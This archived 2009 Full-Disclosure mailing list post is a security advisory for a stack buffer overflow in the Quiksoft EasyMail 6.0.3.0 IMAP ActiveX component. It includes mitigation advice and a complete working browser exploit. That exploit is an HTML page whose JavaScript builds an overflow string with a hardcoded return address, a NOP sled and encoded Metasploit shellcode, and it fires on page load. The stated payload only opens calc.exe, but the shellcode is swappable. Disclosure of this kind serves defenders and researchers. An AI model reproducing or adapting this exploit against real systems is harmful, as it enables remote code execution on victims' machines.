full-disclosure - Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX stack overflow exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4AB202DC.2040208@wolfgarten.com>
Date: Thu, 17 Sep 2009 12:35:24 +0300
From: Sebastian Wolfgarten <sebastian@...fgarten.com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Cc: submit@...w0rm.com
Subject: Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX
	stack overflow exploit

<!--

I - TITLE

Security advisory: Quiksoft EasyMail 6.0.3.0 imap connect() ActiveX 
stack overflow exploit

II - SUMMARY

Description: Remotely exploitable buffer overflow in ActiveX component
Quiksoft EasyMail 6.0.3.0 allows for the arbitrary code execution in the
user context.

Author: Sebastian Wolfgarten (sebastian at wolfgarten dot com),
http://www.devtarget.org

Date: September 17th, 2009

Severity: Medium (remote code execution in the user context)

References: http://www.devtarget.org/easymail-advisory-09-2009.txt

III - OVERVIEW

Quote from quiksoft.com: "The EasyMail Products are relied upon by over 
thousands
of international corporations, federal, state and local organizations, 
and individual
developers. Quiksoft has established the EasyMail products as "the 
professional,
reliable, and easy to use choice for e-mail development". More 
information about
the product can be found online at http://www.quiksoft.com.

IV - DETAILS

The software Quiksoft EasyMail 6.0.3.0 ships emimap4.dll, an ActiveX 
component
to facilitate the development of IMAP4-aware applications. The connect() 
function
of this component is prone to a classic buffer overflow vulnerability 
when a
particularly long argument is passed and the application attempts to 
copy that
data into a finite buffer. This allows for the execution of arbitrary 
code in the
user context.

V - MITIGATING MEASURES

Either set the killbit for the relevant ActiveX component 
(clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D)
or install the latest version of Quiksoft EasyMail which is not 
considered vulnerable.

VI - NOTES

Code below was taken from an exploit originally written by e.b
(see http://www.milw0rm.com/exploits/4825). Thanks also to Francis 
Provencher
for drawing my attention on Quiksoft EasyMail. Shellcode below is rather 
harmless and
executes calc.exe.

Tested on Windows XP SP2 English, IE6, emimap4.dll version 6.0.3.0

-->

<html>
 <head>
  <title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title>
  <script language="JavaScript" defer>
    function Check() {
     
     var buf = 'A';
     while (buf.length <= 440) buf = buf + 'A';


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 
Encoder=Alpha2 http://metasploit.com
var shellcode1 = 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
                          
"%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
                          
"%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +
                          
"%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +
                          
"%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +
                          
"%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +
                          
"%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +
                          
"%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +
                          
"%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +
                          
"%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +
                          
"%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +
                          
"%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +
                          
"%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +
                          
"%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +
                          
"%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +
                          
"%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +
                          
"%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +
                          
"%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +
                          
"%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +
                          
"%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +
                          
"%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +
                          
"%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +
                          
"%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
                          "%4e%31%75%74%38%70%65%77%70%43");

        var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English
    
        var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");

        var m = buf + eip + nop + shellcode1 + nop;
        
        obj.connect(m);
   }
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D">
     Failed to instantiate object.
    </object>
 </body>
</html>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/